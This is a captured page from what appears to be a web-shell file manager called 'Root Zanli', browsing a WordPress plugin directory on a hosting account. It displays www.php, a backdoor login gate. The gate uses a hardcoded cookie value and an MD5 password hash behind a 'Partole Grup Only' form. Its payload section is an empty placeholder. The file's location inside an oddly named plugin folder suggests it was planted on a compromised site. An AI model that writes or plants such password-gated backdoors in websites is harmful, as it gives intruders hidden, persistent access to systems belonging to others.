Root Zanli
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
o5t6x7pgljbm
/
public_html
/
wp-content
/
plugins
/
awhsakit
/
opt
/
Filename :
www.php
back
Copy
<?php // Function to check if the user is logged in based on the presence of a valid cookie function is_logged_in() { return isset($_COOKIE['user_id']) && $_COOKIE['user_id'] === 'user123'; // Ganti 'user123' dengan nilai yang sesuai } // Check if the user is logged in before executing the content if (is_logged_in()) { // Function to get URL content (similar to your previous code) } else { // Display login form if not logged in if (isset($_POST['password'])) { $entered_password = $_POST['password']; $hashed_password = '7d00ff54a263fe80825b9297804a982c'; // if (md5($entered_password) === $hashed_password) { // Password is correct, set a cookie to indicate login setcookie('user_id', 'user123', time() + 3600, '/'); // Ganti 'user123' dengan nilai yang sesuai } else { // Password is incorrect echo "Incorrect password. Please try again."; } } ?> <!DOCTYPE html> <html> <head> <title>Partole Grup Only !!</title> </head> <body> <form method="POST" action=""> <label for="password">Partole Only </Yuji>:</label> <input type="password" id="password" name="password"> <input type="submit" value="Login"> </form> </body> </html> <?php } ?>